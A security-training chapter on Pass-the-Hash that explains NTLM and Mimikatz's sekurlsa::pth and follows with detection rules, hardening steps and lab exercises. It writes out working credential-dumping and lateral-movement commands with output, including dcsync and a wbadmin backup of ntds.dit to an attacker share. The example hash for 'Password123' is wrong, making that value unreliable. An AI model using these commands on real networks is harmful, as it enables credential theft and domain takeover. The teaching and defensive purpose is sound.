Skip to content

Chapter 23: Pass-The-Hash

Introduction

If you’ve spent any time in Windows security, you’ve heard of Pass-The-Hash (PtH). It’s the "bread and butter" of lateral movement. The beauty of this attack—and the reason it’s been around since the 90s—is that it exploits a fundamental rule of NTLM: the hash itself is the password. You don't need to crack it, you don't need to guess it; if you have the NTLM hash, you can prove who you are to any system that supports NTLM.

I’ve seen PtH used in almost every successful red team engagement. Despite decades of awareness and numerous Microsoft security improvements, Pass-The-Hash remains viable in most Windows environments due to the continued necessity of supporting legacy NTLM authentication for backward compatibility. Mimikatz takes this technique to a very high level of technical sophistication with the sekurlsa::pth command. Rather than attempting to authenticate directly with a hash (which would require modifying protocol-level behavior), Mimikatz creates a new process with a suspended thread, establishes a logon session for that process, injects the provided hash into the Local Security Authority Subsystem Service (LSASS) memory associated with that logon session, and then resumes the process.

This chapter explores the technical foundations of NTLM authentication that enable PtH attacks, the implementation details of Mimikatz's approach, detection strategies, and defensive countermeasures.

NTLM Authentication and Hash-Based Authentication

NTLM Protocol Overview

NT LAN Manager (NTLM) is a suite of authentication protocols used in Windows environments to provide authentication, integrity, and confidentiality. Despite being succeeded by Kerberos as the primary authentication mechanism in Active Directory domains, NTLM remains widely supported for:

  • Workgroup (non-domain) authentication
  • Authentication to systems via IP address (Kerberos requires hostname/SPN)
  • Legacy applications that don't support Kerberos
  • Authentication through proxies and firewalls that break Kerberos
  • Fallback when Kerberos fails (DC unreachable, clock skew, etc.)

NTLM Authentication Flow (Challenge-Response):

  1. Client Request: Client requests access to a server resource
  2. Server Challenge: Server generates 8-byte random challenge, sends to client
  3. Client Response: Client encrypts challenge with NT hash, sends encrypted result
  4. Server Validation: Server verifies response matches expected encryption of challenge

Key Insight for PtH: The client encrypts the server's challenge using the NT hash directly as the encryption key. The NT hash is never transmitted over the network, but it is the cryptographic secret used to prove identity. This means possessing the hash is functionally equivalent to possessing the password for NTLM authentication purposes.

NT Hash Generation

The NT hash (also called NTLM hash) is generated from a user's password using the MD4 algorithm:

NT_Hash = MD4(UTF-16LE(Password))

Example:

Password: "Password123"
UTF-16LE Encoding: 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 31 00 32 00 33 00
MD4 Hash: 8A17FD6F96ADB1E28A0F9E5B25A40F72
NT Hash: 8A17FD6F96ADB1E28A0F9E5B25A40F72

This hash is stored in:

  • SAM Database: For local accounts on workstations/member servers (C:\Windows\System32\config\SAM)
  • NTDS.dit: For domain accounts on domain controllers (C:\Windows\NTDS\ntds.dit)
  • LSASS Memory: For currently logged-on users (during session lifetime)

Why Pass-The-Hash Works

The fundamental vulnerability that enables PtH attacks is that NTLM challenge-response authentication uses the hash directly:

NTLM Response Calculation:

Challenge: 8 random bytes from server
NT_Response = DES-ECB(NT_Hash, Challenge)

The server performs the same calculation:

1. Retrieve user's NT hash from SAM/AD
2. Encrypt the challenge with that hash
3. Compare result with client's response
4. Grant access if they match

Critical Point: At no stage does the actual password enter the authentication process. The NT hash is the cryptographic secret. Therefore:

  • If an attacker has the NT hash, they can compute valid NTLM responses
  • Password cracking is unnecessary for authentication (though useful for other purposes)
  • Changing the password changes the hash, but a stolen hash remains valid until changed

Kerberos and AES Keys

While NTLM uses the NT hash directly, Kerberos in modern Windows uses AES encryption keys derived from passwords:

AES Key Derivation:

Salt = Domain_Name_Uppercase + Username
AES256_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, 32 bytes)
AES128_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, 16 bytes)

Mimikatz's sekurlsa::pth supports injecting both NTLM hashes and Kerberos AES keys:

  • NT Hash: Works for NTLM authentication and Kerberos RC4 (etype 23)
  • AES256 Key: Works for Kerberos AES256-CTS-HMAC-SHA1-96 (etype 18)
  • AES128 Key: Works for Kerberos AES128-CTS-HMAC-SHA1-96 (etype 17)

This flexibility allows the attack to work in environments that have disabled RC4 for Kerberos but still support NTLM, or in modern environments using AES Kerberos.

The sekurlsa::pth Command

Command Syntax

mimikatz # sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> [/run:<command>] [/aes128:<key>] [/aes256:<key>] [/rc4:<hash>]

Required Parameters:

  • /user:<username> - The username to impersonate. Note that "Administrator" is not the only name for the built-in admin account; use the actual username (e.g., "admin", "adm", or custom names).
  • /domain:<domain> - The domain name (FQDN or NetBIOS name) for domain accounts, or the computer name, workgroup name, or "localhost" for local accounts.

Hash/Key Parameters (at least one required):

  • /ntlm:<hash> - The NT hash (NTLM hash) of the user's password, 32 hexadecimal characters.
  • /rc4:<hash> - Alias for /ntlm, since the NT hash is used as RC4 key in Kerberos etype 23.
  • /aes128:<key> - The AES128 key derived from the user's password and domain salt, 32 hex characters.
  • /aes256:<key> - The AES256 key derived from the user's password and domain salt, 64 hex characters.

Optional Parameters:

  • /run:<command> - The command to execute in the new process. Default: cmd.exe (opens command prompt).

Execution Requirements:

  1. Elevated Privileges: Must run with privilege::debug or as SYSTEM account.
  2. LSASS Access: Requires ability to open LSASS process with VM_WRITE permissions.
  3. Architecture Match: Mimikatz must match system architecture (x64 for 64-bit Windows).

Technical Implementation

Mimikatz's sekurlsa::pth performs a sophisticated multi-step process:

Step 1: Process Creation with Suspended Thread

Mimikatz uses the CreateProcessWithLogonW API to create a process:

c
CreateProcessWithLogonW(
    lpUsername,        // Provided via /user
    lpDomain,          // Provided via /domain
    L"",               // Empty password (intentional)
    LOGON_NETCREDENTIALS_ONLY,
    NULL,
    lpCommandLine,     // Provided via /run (default: cmd.exe)
    CREATE_SUSPENDED,  // Process created but not started
    NULL,
    NULL,
    &si,
    &pi
);

Key Behaviors:

  • LOGON_NETCREDENTIALS_ONLY: Creates credentials for network authentication only (doesn't validate password locally)
  • CREATE_SUSPENDED: Main thread is created but not executed, allowing manipulation before process starts
  • Empty Password: Since password validation is deferred to actual authentication attempts, an empty password is accepted

Step 2: LogonSession LUID Acquisition

Mimikatz opens the newly created process and extracts its logon session identifier:

c
1. OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pi.dwProcessId)
2. OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)
3. GetTokenInformation(hToken, TokenStatistics, &tokenStats, ...)
4. Extract tokenStats.AuthenticationId (LUID of logon session)

The LUID (Locally Unique Identifier) identifies the logon session in LSASS that stores credentials for this process. Every process has an associated logon session, which contains cached credentials for authentication.

Step 3: LSASS Memory Injection

Mimikatz opens LSASS and locates the credential structure for the target logon session:

c
1. Open LSASS process (lsass.exe) with VM_READ, VM_WRITE, VM_OPERATION
2. Locate MSV1_0 SSP credential structure for the LUID
3. Navigate to credential list in LSASS memory
4. Inject provided NT hash (and/or AES keys) into credential structure

Memory Structure (Simplified):

LSASS Memory
└── LogonSessionList
    └── LogonSession[LUID]
        └── CredentialList
            └── MSV1_0_Credentials
                └── NtOwfPassword = Injected_NT_Hash
            └── Kerberos_Credentials
                └── AES256_Key = Injected_AES256_Key
                └── AES128_Key = Injected_AES128_Key

Step 4: Process Resumption

After credential injection:

c
ResumeThread(pi.hThread);  // Resume main thread of suspended process

The process now executes with the injected credentials in its logon session. When the process attempts network authentication:

  1. Process requests authentication (e.g., net use \server\[share])
  2. LSASS retrieves credentials from the process's logon session LUID
  3. LSASS uses the injected NT hash to perform NTLM authentication
  4. Server validates challenge-response and grants access

Result: The user receives a command prompt (or other specified process) that can authenticate to network resources as the targeted user, using only the hash.

Usage Examples

Example 1: Local Administrator Hash

Scenario: Extracted local administrator hash from SAM database.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrator /domain:WORKSTATION01 /ntlm:8A17FD6F96ADB1E28A0F9E5B25A40F72
user    : Administrator
domain  : WORKSTATION01
program : cmd.exe
impers. : no
NTLM    : 8A17FD6F96ADB1E28A0F9E5B25A40F72
  |  PID  1234
  |  TID  5678
  |  LUID 0 ; 12345678
  \_ msv1_0   - data copy @ 00007FF8DEADBEEF

A new command window opens. From that window:

cmd
C:\Windows\System32> net use \\10.0.0.50\C$ /user:WORKSTATION01\Administrator
The command completed successfully.

C:\Windows\System32> dir \\10.0.0.50\C$
 Volume in drive \\10.0.0.50\C$ is Windows
 [Directory listing...]

Example 2: Domain User Hash

Scenario: Dumped domain user hash from LSASS memory.

mimikatz # sekurlsa::pth /user:bob /domain:CORP.LOCAL /ntlm:FC525C9683E8FE067095BA2DDC971889 /run:powershell.exe
user    : bob
domain  : CORP.LOCAL
program : powershell.exe
impers. : no
NTLM    : FC525C9683E8FE067095BA2DDC971889
  |  PID  9876
  |  TID  5432
  |  LUID 0 ; 87654321
  \_ msv1_0   - data copy @ 00007FF8CAFEBABE

PowerShell window opens with bob's network credentials:

powershell
PS C:\> Get-ChildItem \\dc01.corp.local\SYSVOL
    Directory: \\dc01.corp.local\SYSVOL
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         11/15/2024   3:45 PM                corp.local

PS C:\> Enter-PSSession -ComputerName SERVER01
[SERVER01]: PS C:\> whoami
corp\bob

Example 3: AES256 Key for Modern Environment

Scenario: Environment has disabled RC4 for Kerberos, only AES supported.

mimikatz # sekurlsa::pth /user:admin /domain:CORP.LOCAL /aes256:c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4 /run:cmd.exe
user    : admin
domain  : CORP.LOCAL
program : cmd.exe
impers. : no
AES256  : c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
  |  PID  3456
  |  TID  7890
  |  LUID 0 ; 23456789
  \_ kerberos - data copy @ 00007FF8DEADC0DE

Kerberos authentication uses AES256 key:

cmd
C:\> klist tickets
... 
Ticket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Example 4: Combined Hash and AES Keys

For maximum compatibility across authentication scenarios:

mimikatz # sekurlsa::pth /user:admin /domain:CORP /ntlm:8A17FD6F96ADB1E28A0F9E5B25A40F72 /aes256:c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4

This allows:

  • NTLM authentication using NT hash
  • Kerberos RC4 (etype 23) using NT hash as RC4 key
  • Kerberos AES256 (etype 18) using AES256 key
  • Kerberos AES128 (etype 17) using AES128 key

Obtaining Hashes for Pass-The-Hash

From LSASS Memory

The most common method is extracting hashes from LSASS memory on a compromised system:

Using sekurlsa::logonpasswords:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session           : Interactive from 1
User Name         : alice
Domain            : CORP
Logon Server      : DC01
Logon Time        : 11/30/2024 9:15:23 AM
SID               : S-1-5-21-123456789-123456789-123456789-1001
    msv :
        [00000003] Primary
        * Username : alice
        * Domain   : CORP
        * NTLM     : fc525c9683e8fe067095ba2ddc971889
        * SHA1     : a3d5f6e7c8b9a0b1c2d3e4f5a6b7c8d9e0f1a2b3
    kerberos :

        * Username : alice
        * Domain   : CORP.LOCAL
        * Password : (null)
    ssp :
    credman :

Extract the NTLM hash: fc525c9683e8fe067095ba2ddc971889

Use in PtH:

sekurlsa::pth /user:alice /domain:CORP /ntlm:fc525c9683e8fe067095ba2ddc971889

From SAM Database

For local accounts, extract hashes from the SAM registry hive:

Live System (requires SYSTEM):

mimikatz # token::elevate
mimikatz # lsadump::sam
Domain : WORKSTATION01
SysKey : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d

Local Users
  Administrator
    RID  : 000001f4 (500)
    User : Administrator
    NTLM : 8a17fd6f96adb1e28a0f9e5b25a40f72

  Guest
    RID  : 000001f5 (501)
    User : Guest

  bob
    RID  : 000003e9 (1001)
    User : bob
    NTLM : 64f12cddaa88057e06a81b54e73b949b

Offline (from registry hive backups):

cmd
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive

Then on attacker system:

mimikatz # lsadump::sam /system:C:\temp\system.hive /sam:C:\temp\sam.hive

From NTDS.dit (Domain Controller)

For domain accounts, extract from the Active Directory database:

Using ntdsutil (requires DA):

cmd
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds" q q

Extract hashes from NTDS.dit:

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'Administrator' will be the user account

Object RID           : 500
SAM Username         : Administrator
User Principal Name  : Administrator@corp.local
Credentials:
  Hash NTLM: 8a17fd6f96adb1e28a0f9e5b25a40f72

Or extract all hashes:

mimikatz # lsadump::dcsync /domain:corp.local /all /csv

From Network Captures (Responder, LLMNR/NBT-NS Poisoning)

Capture NTLMv2 challenge-response, crack offline:

alice::CORP:1122334455667788:d6a3b2c1e5f4a7b8c9d0e1f2a3b4c5d6:01010000...

Crack with Hashcat:

bash
hashcat -m 5600 hash.txt wordlist.txt --force

If cracked, use the password to generate the NT hash, or use the password directly.

Attack Scenarios

Scenario 1: Lateral Movement After Workstation Compromise

Context: Attacker compromises a user workstation via phishing.

Attack Flow:

  1. Initial Access: User "alice" clicks malicious link, runs attacker payload.

    - Payload establishes C2 beacon
    - Attacker has standard user privileges on WORKSTATION05
  2. Credential Dumping:

    beacon> execute-assembly Mimikatz.exe privilege::debug sekurlsa::logonpasswords
    [Output shows alice's hash and local admin hash]
    alice - NTLM: fc525c9683e8fe067095ba2ddc971889
    Administrator (local) - NTLM: 8a17fd6f96adb1e28a0f9e5b25a40f72
  3. Local Privilege Escalation:

    beacon> mimikatz sekurlsa::pth /user:Administrator /domain:WORKSTATION05 /ntlm:8a17fd6f96adb1e28a0f9e5b25a40f72 /run:powershell.exe
    [New PowerShell window with local admin network credentials]
  4. Network Reconnaissance:

    powershell
    PS> Get-ADComputer -Filter * | Select-Object Name
    # Identify other workstations and servers
    WORKSTATION01
    WORKSTATION02
    ...
    SERVER01
    SERVER02
  5. Lateral Movement via PsExec:

    PS> .\PsExec.exe \\WORKSTATION02 -accepteula cmd.exe
    # If local admin hash is reused across workstations, gain access
    C:\Windows\system32>whoami
    workstation02\administrator
  6. Credential Harvesting on New System:

    C:\> mimikatz.exe privilege::debug sekurlsa::logonpasswords
    # Find domain admin who recently logged into WORKSTATION02
    Domain Admin "bob" - NTLM: 64f12cddaa88057e06a81b54e73b949b
  7. Domain Admin Access:

    mimikatz # sekurlsa::pth /user:bob /domain:CORP /ntlm:64f12cddaa88057e06a81b54e73b949b
    # Now have domain admin privileges
    C:\> net use \\DC01\C$

Result: From initial user workstation compromise to domain admin access via cascading Pass-The-Hash attacks.

Scenario 2: Persistent Access with Stolen Hashes

Context: Red team assessment with periodic access to target environment.

Attack Flow:

  1. Initial Compromise: Gain access to member server during business hours.

    - Exploit vulnerable web application on SERVER03
    - Web app runs as service account "svc_web"
  2. Hash Extraction:

    mimikatz # sekurlsa::logonpasswords
    svc_web - NTLM: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
    Local_Admin - NTLM: f1e2d3c4b5a6978809c0b1a2d3e4f5a6
  3. Store Hashes Securely:

    Attacker maintains hash database:
    SERVER03\Local_Admin: f1e2d3c4b5a6978809c0b1a2d3e4f5a6
    CORP\svc_web: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
  4. Re-Access After Hours (Days Later):

    # From attacker workstation
    mimikatz # sekurlsa::pth /user:svc_web /domain:CORP /ntlm:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
    
    # Access server
    C:\> net use \\SERVER03\C$
    C:\> PsExec.exe \\SERVER03 cmd.exe
  5. Hash Remains Valid:

    Unless svc_web password is changed, hash works indefinitely
    Red team maintains access for assessment duration

Persistence Benefits:

  • No need to re-exploit vulnerability
  • Access survives application patching
  • Works even if vulnerability is fixed
  • Only password change invalidates access

Scenario 3: Bypass Least Privilege with Service Account Hash

Context: Organization implements least privilege for interactive logons but service accounts have excessive permissions.

Attack Flow:

  1. Compromise Standard User Workstation:

    - Social engineering attack on user "carol"
    - Gain standard user access to WORKSTATION10
  2. Discover Service Account in Memory:

    mimikatz # sekurlsa::logonpasswords
    ... 
    svc_backup - NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    (Service account with backup operators privileges)
  3. Use Service Account Hash:

    mimikatz # sekurlsa::pth /user:svc_backup /domain:CORP /ntlm:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    
    C:\> net use \\DC01\C$
    # Service account has backup privileges on DC
  4. Backup NTDS.dit:

    cmd
    wbadmin start backup -backupTarget:\\ATTACKER-SERVER\share -include:C:\Windows\NTDS\ntds.dit -quiet
  5. Extract All Domain Hashes:

    mimikatz # lsadump::dcsync /domain:corp.local /all /csv > all_hashes.txt

Result: Service account over-privilege bypasses user-level least privilege controls, enabling domain-wide compromise.

Detection Strategies

Event ID 4648: Explicit Credential Logon

When CreateProcessWithLogonW is called, Windows logs Event ID 4648.

Event Details:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4648</EventID>
    <Task>Logon</Task>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-5-21-...-1001</Data>
    <Data Name="SubjectUserName">alice</Data>
    <Data Name="SubjectDomainName">CORP</Data>
    <Data Name="SubjectLogonId">0x12d687</Data>
    <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="TargetUserName">Administrator</Data>
    <Data Name="TargetDomainName">WORKSTATION05</Data>
    <Data Name="TargetLogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="TargetServerName">localhost</Data>
    <Data Name="TargetInfo">localhost</Data>
    <Data Name="ProcessId">0x1a2b</Data>
    <Data Name="ProcessName">C:\Tools\mimikatz.exe</Data>
  </EventData>
</Event>

Detection Logic:

Alert on Event ID 4648 WHERE:

- TargetServerName = "localhost" (local credential use)
- ProcessName contains "mimikatz", "powershell", "cmd" (suspicious processes)
- TargetUserName != SubjectUserName (impersonation)

Limitations:

  • Event ID 4648 is common for legitimate runas operations
  • High volume in environments with task scheduler or services
  • Requires filtering to reduce false positives

Splunk Query Example:

spl
index=windows EventCode=4648 TargetServerName="localhost"
| where TargetUserName != SubjectUserName
| stats count by SubjectUserName, TargetUserName, ProcessName, ComputerName
| where count > 5

Sysmon Event ID 10: LSASS Process Access

PtH requires injecting credentials into LSASS memory, generating process access events.

Sysmon Configuration:

xml
<RuleGroup name="LSASS Protection" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    <GrantedAccess condition="is">0x1410</GrantedAccess>
  </ProcessAccess>
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    <SourceImage condition="contains any">mimikatz;powershell;cmd;wmic</SourceImage>
  </ProcessAccess>
</RuleGroup>

Event Data:

xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>10</EventID>
  </System>
  <EventData>
    <Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
    <Data Name="TargetImage">C:\Windows\System32\lsass.exe</Data>
    <Data Name="GrantedAccess">0x1410</Data>
    <Data Name="CallTrace">C:\Windows\SYSTEM32\ntdll.dll+9d4c4|...</Data>
  </EventData>
</Event>

Indicators:

  • SourceImage from non-standard locations (C:\Users, C:\Temp, C:\ProgramData)
  • Unexpected GrantedAccess values (0x1410, 0x1FFFFF)
  • CallTrace shows unusual DLL loading patterns

NTLM Authentication Monitoring

While PtH doesn't create typical logon events, NTLM authentication still generates telemetry.

Event ID 4776: NTLM Authentication

LogName: Security
Source: Microsoft-Windows-Security-Auditing
EventID: 4776
Message: The computer attempted to validate credentials for an account
Account Name: alice
Source Workstation: WORKSTATION05
Error Code: 0x0 (success)

Anomaly Detection:

  • Same account authenticating from multiple workstations simultaneously
  • Accounts authenticating to unusual systems
  • High volume of NTLM authentications from single source
  • Service accounts authenticating interactively

Query for Unusual NTLM Volume:

powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4776}
  | Where-Object {$_.Properties[1].Value -eq '0x0'}
  | Group-Object {$_.Properties[0].Value}
  | Where-Object {$_.Count -gt 50}
  | Sort-Object Count -Descending

Behavioral Analytics

User and Entity Behavior Analytics (UEBA):

  • Baseline normal authentication patterns per user

  • Alert on deviations:

    • User authenticating outside normal hours
    • User accessing unusual systems
    • Geographic impossibilities (VPN switching, concurrent distant locations)
    • Sudden access to resources previously never accessed

Example SIEM Rule (Pseudocode):

FOR each successful authentication:
  IF user_has_never_accessed_this_system_before():
    RAISE ALERT("First-time system access by user")
  IF authentication_outside_business_hours():
    RAISE ALERT("After-hours authentication")
  IF authentication_encryption_type == NTLM AND user_typically_uses_Kerberos():
    RAISE ALERT("Unexpected NTLM usage")

EDR Detection

Modern EDR solutions detect PtH through:

Memory Analysis:

  • Detect credential injection into LSASS
  • Identify suspicious LSASS memory modifications
  • Recognize known Mimikatz code patterns

Process Behavior:

  • CreateProcessWithLogonW with empty password
  • Immediate LSASS access after process creation
  • Process tree analysis (unusual parent-child relationships)

Credential Usage Anomalies:

  • Process using credentials for different user than process owner
  • Network authentication without corresponding logon event

Defensive Strategies

Restrict NTLM Authentication

The most effective long-term defense is eliminating NTLM entirely.

Domain-Wide NTLM Restrictions:

Audit Mode (Phase 1):

Computer Configuration → Policies → Windows Settings → Security Settings
→ Local Policies → Security Options
→ Network security: Restrict NTLM: Audit NTLM authentication in this domain
→ Enabled: Enable all

Monitor Event ID 8004 for 30-90 days:

Event ID 8004: NTLM authentication audit
Records NTLM authentication attempts and source

Enforcement (Phase 2):

→ Network security: Restrict NTLM: NTLM authentication in this domain
→ Deny all (recommended) OR Deny for domain accounts to domain servers

Allow Exceptions:

→ Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication
→ List specific servers/applications that require NTLM

Workstation-to-Workstation Blocking:

→ Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
→ Deny all

Prevents lateral movement via NTLM (forces Kerberos, which provides better auditing).

Implement LSA Protection (PPL)

LSA Protected Process Light prevents unsigned code from accessing LSASS memory.

Enable via Registry:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 (DWORD)

Enable via Group Policy:

Computer Configuration → Administrative Templates → System → Local Security Authority
→ Configure LSASS to run as a protected process: Enabled

Impact:

  • Mimikatz sekurlsa::pth fails with "access denied"
  • Credential dumping blocked
  • Requires kernel-mode driver or boot-level bypass

Requirements:

  • Windows 8.1 / Server 2012 R2 or later
  • UEFI with Secure Boot enabled

Credential Guard

Windows Defender Credential Guard uses virtualization-based security to isolate credentials.

Enable via Group Policy:

Computer Configuration → Administrative Templates → System → Device Guard
→ Turn on Virtualization Based Security: Enabled
  - Credential Guard Configuration: Enabled with UEFI lock

Protection:

  • Credentials stored in isolated virtual container (VTL-1)
  • LSASS cannot access plaintext credentials
  • PtH with NTLM still possible, but reduces credential exposure

Limitations:

  • Only protects against plaintext credential theft
  • Does not prevent PtH with already-stolen hashes
  • Incompatible with domain controllers

Local Administrator Password Solution (LAPS)

LAPS randomizes local administrator passwords across workstations/servers.

Deployment:

  1. Install LAPS GPO templates

  2. Configure LAPS policy:

    • Path: Computer Configuration → Policies → Administrative Templates → LAPS
    • Setting: Enable local admin password management (Enabled)
    • Password Settings:
      • Password Length: 20 characters
      • Password Age: 30 days
      • Password Complexity: Large letters + small letters + numbers + special
  3. Extend Active Directory schema (adprep)

  4. Set permissions on computer objects for password storage

Effect:

  • Each workstation has unique local admin password
  • Passwords rotated automatically
  • Lateral movement via local admin hash stopped (hash only works on one system)

PtH Impact: Hash extracted from WORKSTATION01 local admin only works on WORKSTATION01, not WORKSTATION02-50.

Privileged Access Workstations (PAWs)

Dedicated administrative workstations with hardened security.

PAW Characteristics:

  • No internet access
  • No email client
  • Credential Guard enabled
  • LSA PPL enabled
  • Application whitelisting (WDAC/AppLocker)
  • Disabled SMBv1, LLMNR, NetBIOS
  • Monitored extensively

Administrative Process:

  1. Administrator uses standard user account on regular workstation
  2. Switches to PAW for administrative tasks
  3. Credentials only entered on PAW (never on user workstation)
  4. PtH risk isolated to PAW environment

Least Privilege and Just-in-Time Administration

Principle of Least Privilege:

  • Remove permanent Domain Admin membership
  • Grant privileges only when needed
  • Use Privileged Identity Management (PIM) solutions

Microsoft Identity Manager (MIM) / Azure AD PIM:

1. User requests Domain Admin access
2. Manager approves (optional: MFA required)
3. User granted Domain Admin for 4 hours
4. Access automatically revoked after expiration

Impact:

  • Reduces window for hash theft
  • Limits value of stolen hashes (time-limited)
  • Provides accountability and auditing

Monitoring and Alerting

Real-Time Alerts:

  • Sysmon Event ID 10: Unusual LSASS access
  • Event ID 4648: Explicit credential usage from suspicious processes
  • Event ID 4776: High-volume NTLM authentication anomalies
  • EDR alerts on credential injection

Automated Response:

IF LSASS_access_from_mimikatz_detected():

  - Isolate host from network
  - Kill suspicious process
  - Capture memory dump for forensics
  - Alert SOC for investigation
  - Force password reset for accounts in LSASS memory on host

Practical Exercises

Exercise 1: Pass-The-Hash Execution

Objective: Execute Pass-The-Hash attack in lab environment.

Prerequisites:

  • Isolated lab domain (NOT production)
  • Windows 10 workstation (CLIENT01)
  • Windows Server 2019 member server (SERVER01)
  • Domain admin account
  • Mimikatz binary

Steps:

  1. Extract Hash from LSASS

    - Log into CLIENT01 as domain user "alice"
    - Execute Mimikatz as administrator
    - Run: privilege::debug
    - Run: sekurlsa::logonpasswords
    - Copy alice's NTLM hash
  2. Execute Pass-The-Hash

    - Run: sekurlsa::pth /user:alice /domain:CORP /ntlm:[hash]
    - Observe new command window
    - Note Event IDs generated (4648, Sysmon 10)
  3. Test Network Authentication

    - From PtH command window: net use \\SERVER01\C$
    - Verify successful authentication without password
    - Access file shares: dir \\SERVER01\C$\Users
  4. Verify Credentials in New Process

    - From PtH window: klist
    - Observe Kerberos tickets for alice
    - Run: whoami /all
    - Confirm process runs as local user but network credentials are alice

Questions:

  • What Event IDs were generated?
  • Does the PtH window show alice as the current user (whoami)?
  • Can you access resources alice normally accesses?

Exercise 2: Detection Development

Objective: Build detection for Pass-The-Hash attacks.

Prerequisites:

  • Sysmon installed on CLIENT01
  • Windows Event Forwarding or SIEM
  • Administrative access

Steps:

  1. Baseline LSASS Access

    powershell
    # Collect 1 hour of normal LSASS access events
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
      Where-Object {$_.Id -eq 10 -and $_.Properties[4].Value -match "lsass.exe"} |
      Select-Object TimeCreated, @{N='SourceImage';E={$_.Properties[3].Value}}, @{N='GrantedAccess';E={$_.Properties[6].Value}}
    
    # Identify legitimate processes
  2. Execute PtH Attack

    - Run sekurlsa::pth as in Exercise 1
    - Capture all event data during attack
  3. Identify Attack Indicators

    - Sysmon Event ID 10: mimikatz.exe → lsass.exe, GrantedAccess 0x1410
    - Event ID 4648: mimikatz.exe using explicit credentials
    - Event ID 4776: NTLM authentication shortly after
  4. Create Detection Rule

    xml
    <!-- Sysmon Rule -->
    <RuleGroup name="PtH Detection" groupRelation="or">
      <ProcessAccess onmatch="include">
        <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
        <GrantedAccess condition="is">0x1410</GrantedAccess>
      </ProcessAccess>
    </RuleGroup>
    spl
    # Splunk Correlation Rule
    index=windows (EventCode=10 TargetImage="*lsass.exe" GrantedAccess="0x1410")
    OR (EventCode=4648)
    | transaction host maxspan=30s
    | where EventCode=10 AND EventCode=4648
    | stats count by host, user
  5. Test False Positive Rate

    - Run legitimate administrative tasks
    - Use runas command
    - Execute security scanners
    - Measure alert accuracy

Deliverable: Detection rule with <10% false positive rate and 100% true positive rate.

Exercise 3: Defensive Hardening

Objective: Deploy defenses to prevent Pass-The-Hash.

Prerequisites:

  • Lab domain with CLIENT01 and SERVER01
  • Administrative access

Steps:

  1. Enable LSA Protection on CLIENT01

    powershell
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWord
    Restart-Computer
  2. Test PtH with LSA PPL Enabled

    - Attempt sekurlsa::pth
    - Observe "Handle on memory (0x00000005)" error (Access Denied)
    - Document Event IDs (attempt logged even though blocked)
  3. Deploy LAPS (if available in lab)

    - Install LAPS GPO templates
    - Configure password policy
    - Apply to workstations OU
    - Force group policy update
    - Verify unique local admin passwords
  4. Restrict NTLM (Audit Mode)

    - Create GPO: "NTLM Audit Policy"
    - Computer Config → Policies → Windows Settings → Security Settings
      → Local Policies → Security Options
    - Network security: Restrict NTLM: Audit NTLM authentication in this domain
    - Set to: Enable all
    - Apply to entire domain
    - Monitor Event ID 8004 for 24 hours
  5. Analyze NTLM Usage

    powershell
    Get-WinEvent -LogName "Microsoft-Windows-NTLM/Operational" -FilterXPath "*[System[EventID=8004]]" |
      Select-Object TimeCreated, Message |
      Out-GridView
  6. Enforce NTLM Restrictions (if no critical dependencies)

    - Modify GPO: Network security: Restrict NTLM: NTLM authentication in this domain
    - Set to: Deny for domain accounts to domain servers
    - Test PtH (should fail for domain resources)

Validation:

  • PtH blocked by LSA PPL
  • LAPS prevents local admin hash reuse
  • NTLM restrictions limit lateral movement

Expected Results:

  • PtH blocked by LSA PPL
  • LAPS prevents local admin hash reuse
  • NTLM restrictions limit lateral movement

Summary

Pass-The-Hash remains one of the most effective and widely-used attack techniques in Windows environments due to the fundamental design of NTLM authentication, where the hash itself is the cryptographic secret rather than merely a password verifier. This characteristic means that an attacker who obtains a user's NT hash can authenticate to network resources as that user without ever needing to know or crack the password.

Key Technical Points:

